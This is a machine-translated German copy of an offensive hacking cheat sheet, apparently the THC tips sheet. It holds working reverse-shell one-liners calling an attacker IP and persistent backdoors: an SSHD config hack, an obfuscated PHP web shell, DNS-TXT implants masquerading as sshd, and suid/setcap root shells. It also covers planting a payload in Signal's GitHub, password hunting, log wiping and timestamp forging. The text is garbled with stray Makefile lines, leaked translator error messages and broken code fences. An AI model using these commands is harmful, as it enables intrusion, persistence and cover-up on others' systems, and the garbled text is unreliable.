If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
target: build/MexicanWave
target-incremental: build/debug
	docker run -v .:/opt/mount --rm --privileged multiarch/qemu-user-static --reset -p yes
	docker rm -f buildMexicanWave &>/dev/null || echo 'kein buildMexicanWave-Container zum Löschen vorhanden'
	docker build --rm -t mexican-wave -f docker/Dockerfile.build .
	docker create --name buildMexicanWave mexican-wave
	docker cp buildMexicanWave:/opt/mexican-wave/_build/prod/rel/mexican_wave build/MexicanWave
	docker rm -f buildMexicanWave```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. Reverse Shell / Dumme Shell

Tipp: Verwende https://www.revshells.com/ 👌

5.i.a. Reverse Shell mit gs-netcat (verschlüsselt)

Siehe 6. Backdoors für einen Einzeiler, um eine voll funktionsfähige PTY-Reverse-Shell über https://gsocket.io/deploy bereitzustellen und darauf zuzugreifen.

5.i.b. Reverse Shell mit Bash

Starte netcat, um auf Port 1524 auf deinem System zu lauschen:```sh nc -nvlp 1524

root@kitploit:~
Nach der Verbindung [aktualisiere](#reverse-shell-interactive) deine Shell zu einer vollständig interaktiven PTY-Shell. Alternativ verwende [pwncat-cs](https://pwncat.org/) anstelle von netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Auf dem entfernten System stellt dieser Befehl eine Verbindung zurück zu Ihrem System her (IP = 3.13.3.7, Port 1524) und gibt Ihnen eine Shell-Eingabeaufforderung:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
Alternativ kannst du auf dem entfernten System dies in die `~/.profile` oder die Crontab einfügen, um die Connect-Back-Shell neu zu starten (und gleichzeitig zu verhindern, dass mehrere Instanzen gestartet werden):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. Reverse-Shell mit cURL (verschlüsselt)

Verwende curlshell. Dies funktioniert auch über Proxys und wenn direkte TCP-Verbindungen in die Außenwelt verboten sind:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d Reverse-Shell mit cURL (Klartext)

Starten Sie ncat, um auf mehrere Verbindungen zu lauschen:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. Reverse Shell mit OpenSSL (verschlüsselt)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
I received no translatable content in this chunk. The input text after "INPUT:" is empty. Please provide the chunk content so I can translate it from English to German.```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. Reverse-Shell ohne /dev/tcp

Eingebettete Systeme haben nicht immer Bash, und der /dev/tcp/-Trick funktioniert nicht. Es gibt viele andere Möglichkeiten (Python, PHP, Perl, ..). Am liebsten laden wir netcat hoch und verwenden netcat oder telnet:

Auf dem entfernten System:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
Variante, falls *'-e'* nicht unterstützt wird:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • In modernen Shells kann dies zu { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: verkürzt werden. (Dank an IA_PD).
  • Der | :-Trick funktioniert nicht unter C-Shell/tcsh (FreeBSD), der ursprünglichen Bourne-Shell (Solaris) oder der Korn-Shell (AIX). Verwenden Sie stattdessen mkfifo.

Variante für ältere /bin/sh:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Telnet-Variante:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Telnet-Variante, wenn mkfifo nicht unterstützt wird (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Hinweis: Vergiss nicht, `rm /tmp/.fio` nach dem Login auszuführen.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse-Shell mit remote.moe und ssh (verschlüsselt)**

Es ist möglich, rohes TCP (z. B. eine Bash-Reverse-Shell) über [remote.moe](https://remote.moe) zu tunneln:

Auf deiner Workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

Auf dem Ziel(benötigt SSH und Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
Auf dem Zielsystem (Alternative; benötigt ssh, bash und mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Reverse-Shell mit Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse-Shell mit Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. Reverse-Shell mit PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Upgrade einer Reverse-Shell zu einer PTY-Shell**

Alle oben genannten Reverse-Shells sind eingeschränkt. Zum Beispiel funktionieren *sudo bash* oder *top* nicht. Damit diese funktionieren, müssen wir die Shell zu einer echten PTY-Shell upgraden:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

The input content is empty. No Markdown text was provided to translate. Please supply the chunk content.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. Eine Reverse Shell zu einer vollständig interaktiven Shell upgraden**

...und wenn wir auch Ctrl-C usw. verwenden möchten, dann müssen wir den ganzen Weg gehen und die Reverse Shell zu einer echten, vollständig farbenfrohen interaktiven Shell upgraden:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

Kein Eingabetext zum Übersetzen bereitgestellt.```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
### Schnellinstallation```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. Reverse Shell mit socat (voll interaktiv)

...oder installiere socat und erledige es, ohne großes Herumgefummel:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. Hintertüren

Siehe [Reverse Shell / Dumb Shell](#reverse-shell) für einfache Einzeiler-Reverse-Shells.

<a id="gsnc"></a>
**6.i. Reverse Shell mit gs-netcat**

Meistens verwenden wir das automatisierte Bereitstellungsskript von gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

oder```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
oder stellen Sie gsocket bereit, indem Sie Ihren eigenen Deployment-Server ausführen:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. Reverse-Shell mit sshx.io (verschlüsselt)

Greifen Sie von Ihrem Webbrowser aus auf eine entfernte Shell zu https://sshx.io.

Leiten Sie das sshx-backdoor direkt in den Speicher:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
Oder der langweilige Weg:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. Kleinstes SSHD-Backdoor

  • Übersteht apt update
  • Erstellt keine neue Datei.
  • Verwendet weder authorized_keys noch PAM.

Deinen Schlüssel zu authorized_keys hinzuzufügen ist ausgelutscht 😩. Stattdessen kannst du als root dies einmal auf jedem Zielsystem einfügen. Es fügt dem SSHD-Config eine einzelne Zeile hinzu und erlaubt dir, dich für immer anzumelden:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
So funktioniert es:
- Der SSHD-Hostschlüssel ist nur ein gewöhnlicher ed25519-Schlüssel.
- Jeder ed25519-Schlüssel kann verwendet werden, um einen Benutzer zu authentifizieren.
- SSHD prüft `~/.ssh/authorized_keys` (aber dieser Trick wurde überstrapaziert).
- Konfiguriere SSHD stattdessen so, dass es zusätzlich `/etc/ssh/sshd_host_ed25519_key.pub` für Login-Authentifizierungsschlüssel prüft.
- SSHD prüft nun `~/.ssh/authorized_keys` _und_ `/etc/ssh/ssh_host_ed25519_key.pub` auf gültige Login-Schlüssel.
- Verwende den geheimen Schlüssel `/etc/ssh/sshd_host_ed25519_key`, um dich am Ziel anzumelden.

<a id="backdoor-network"></a>
**6.vi. Fernzugriff auf ein gesamtes Netzwerk**

Installiere [gs-netcat](https://github.com/hackerschoice/gsocket). Es erstellt einen SOCKS-Exit-Knoten im privaten LAN des Hosts, der über das Global Socket Relay Network erreichbar ist, ohne dass du deinen eigenen Relay-Server betreiben musst (z. B. um direkt von deiner Workstation aus auf das entfernte private LAN zuzugreifen):```sh
gs-netcat -l -S       # compromised Host

Nun können Sie von Ihrer Workstation aus eine Verbindung zu JEDEM Host im privaten LAN des Hosts herstellen:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
Lies [Verwende ein beliebiges Tool über Socks-Proxy](#scan-proxy).

Andere Methoden:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - unser eigener Artikel
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - von segfault.net zu jedem (internen) Netzwerk.

<a id="php-backdoor"></a>
**6.v. Kleinste PHP-Backdoor**

Füge diese Zeile am Anfang einer beliebigen PHP-Datei hinzu:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Es handelt sich um eine base64-Kodierung von:```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
Teste die Backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Manchmal ist system() verboten. Füge eval() hinzu, um Remote-PHP-Code-Ausführung als Backup zu ermöglichen. Verstecke es in anderen base64-Kommentaren für etwas Verschleierung:```php

root@kitploit:~
Löse mit einem dieser Werte die Ausführung eines Befehls oder PHP-Codes aus:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. Kleinste Reverse-DNS-Tunnel-Backdoor

...in PHP:

Führe beliebige Befehle auf einem Server aus, der nicht über das öffentliche Internet erreichbar ist, indem du einen Reverse-DNS-Trigger verwendest.

Füge diese Zeile (den Implant) am Anfang einer beliebigen PHP-Datei hinzu:```php

root@kitploit:~
Das Implant fragt die Payload per DNS-TXT-Anfrage von der Domain `b00m.team-teso.net` ab. Bei Auslösung erstellt es `/tmp/.b00m` und benachrichtigt THC (über einen app.interactsh.com-Callback). *Bitte* verwenden Sie Ihre eigene Domain und erstellen Sie auch Ihre eigene Payload. Beispiel:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • Das DNS-TXT-Payload ist auf 2.048 Zeichen begrenzt (manchmal 65.535 Zeichen).
  • Das Implantat ist ein Bootloader. Verwende eine While-Schleife, um größere Payloads über DNS herunterzuladen und auszuführen.
  • Schau dir unsere Lieblingsorte an, um eine Domain anonym zu registrieren. Cloudflares Free-Tier ist ein guter Anfang.

...in BASH:

Füge dieses Implantat zur ~/.bashrc des Ziels oder zum Crontab hinzu (demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
oder ändere den Demo-Payload für einen ausgefeilten Payload:
- Startet einen Hintergrund-Daemon, der stündlich auf Befehlsausführung prüft.
- Benötigt nur bash, dig und base64.
- Tarnt sich als `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- Das Beispiel verwendet erneut `b00m2.team-teso.net` und erstellt stündlich /tmp/.b00m.

Schneide & füge Folgendes in die Shell des Zielsystems ein, um das Einzeiler-Implantat zu generieren:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

Fügen Sie das 1-zeilige Ergebnis des Skripts zu einem beliebigen Startskript auf dem Ziel hinzu (verwenden Sie crontab, ~/.bashrc, udev oder ExecStartPre=). Hier ist ein raffiniertes Beispiel für /usr/lib/systemd/system/ssh.service (mit etwas zusätzlicher Verschleierung):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...in PERL:
---
Dasselbe, aber nur perl + bash erforderlich (nicht dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(Danke an LouCipher für eine perl-Version)

...in PYTHON:

Kopiere & füge Folgendes in deine Shell ein:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
Erstelle deinen Payload (`egg.py` wird auf dem Zielsystem ausgeführt):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

Generiere dein Implant (und befolge die Anweisungen):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. Lokale Root-Backdoor**

#### 1. Backdooring des dynamischen Loaders mit setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

The input content for chunk 374 is empty — there is no text to translate. Please provide the actual chunk content.```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. Der gute alte b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

Abschnitt 378```shell

exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. Selbstextrahierendes Implantat**

Erstellen Sie ein selbstextrahierendes Shell-Skript mit [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (siehe Quellcode für Beispiele).

Einfaches Beispiel:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

Beispiele aus der Praxis sind am besten:

  1. Erstellen Sie einen Implant, der gsocket installiert und bei Erfolg unseren Webhook aufruft:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. Benenne `egg.sh` in `update-for-fools.txt` um und lade es als Blob in [Signals](https://www.signal.org/) GitHub-Repository hoch.

3. Führe niemanden hinters Licht, um Signal mit diesem Befehl zu aktualisieren ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. Host-Erkundung


Holen Sie sich wesentliche Informationen über einen Host:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
oder```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat, falls es kein netstat/ss/lsof gibt:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
Geschwindigkeitscheck des Systems```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Finde alle suid/sgid-Binärdateien:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
Finde alle beschreibbaren Verzeichnisse:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

Lokale Passwörter finden (mit noseyparker oder trufflehog):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- Verwenden Sie [PassDetective](https://github.com/aydinnyunus/PassDetective), um Passwörter in ~/.*history zu finden
- Verwenden Sie [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption), um Chrome-Passwörter aus dem laufenden Prozess zu extrahieren & zu entschlüsseln (nur Windows)
- Extrahieren Sie Passwörter aus Browsern mit [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Mit `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

Finde Subdomains oder E-Mails in Dateien:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. Shell-Hacks
<a id="shred"></a>
**8.i. Shred & eine Datei löschen**```sh
shred -z foobar.txt

Kein Eingabetext zum Übersetzen bereitgestellt.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
Hinweis: Oder legen Sie Ihre Dateien im Verzeichnis */dev/shm* ab, sodass keine Daten auf die Festplatte geschrieben werden. Die Daten werden beim Neustart gelöscht.

Hinweis: Oder löschen Sie die Datei und füllen Sie dann die gesamte Festplatte mit /dev/urandom und führen Sie dann rm -rf auf die Dump-Datei aus.

<a id="restore-timestamp"></a>
**8.ii. Stellen Sie das Datum einer Datei wieder her**

Angenommen, Sie haben */etc/passwd* geändert, aber das Dateidatum zeigt nun an, dass */etc/passwd* geändert wurde. Verwenden Sie *touch*, um das Dateidatum auf das Datum einer anderen Datei zu setzen (in diesem Beispiel */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Use hackshell and ctime /etc/passwd to also adjust the ctime and birth-time.

8.iii. Logdatei leeren

Dadurch wird die Logdatei auf 0 zurückgesetzt, ohne dass syslogd usw. neu gestartet werden muss:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
Dies entfernt jede Zeile, die die IP `1.2.3.4` enthält, aus der Logdatei:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

Beispiele:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. Verstecke Dateien vor diesem Benutzer ohne Root-Rechte**

Unser bevorzugtes Arbeitsverzeichnis ist */dev/shm/*. Dieser Ort ist flüchtiger Speicher und geht beim Neustart verloren. Keine Logs == Kein Verbrechen.

Permanente Dateien verstecken:

Methode 1:```sh
alias ls='ls -I system-dev'

Dadurch wird das Verzeichnis system-dev vor dem Befehl ls verborgen. Fügen Sie es in die ~/.profile des Benutzers oder systemweit in /etc/profile ein.

Methode 2: Tricks aus den 80ern. Betrachten Sie ein beliebiges Verzeichnis, in das der Administrator selten schaut (wie /boot/.X11/.. oder so):```sh mkdir '...' cd '...'

root@kitploit:~
Methode 3:
Unix erlaubt Dateinamen mit fast jedem ASCII-Zeichen außer 0x00. Versuchen Sie Tabulator (*\t*). Es kommt vor, dass die meisten Admins nicht wissen, wie man mit cd in ein solches Verzeichnis wechselt.```sh
mkdir $'\t'
cd $'\t'

8.v. Eine Datei unveränderbar machen

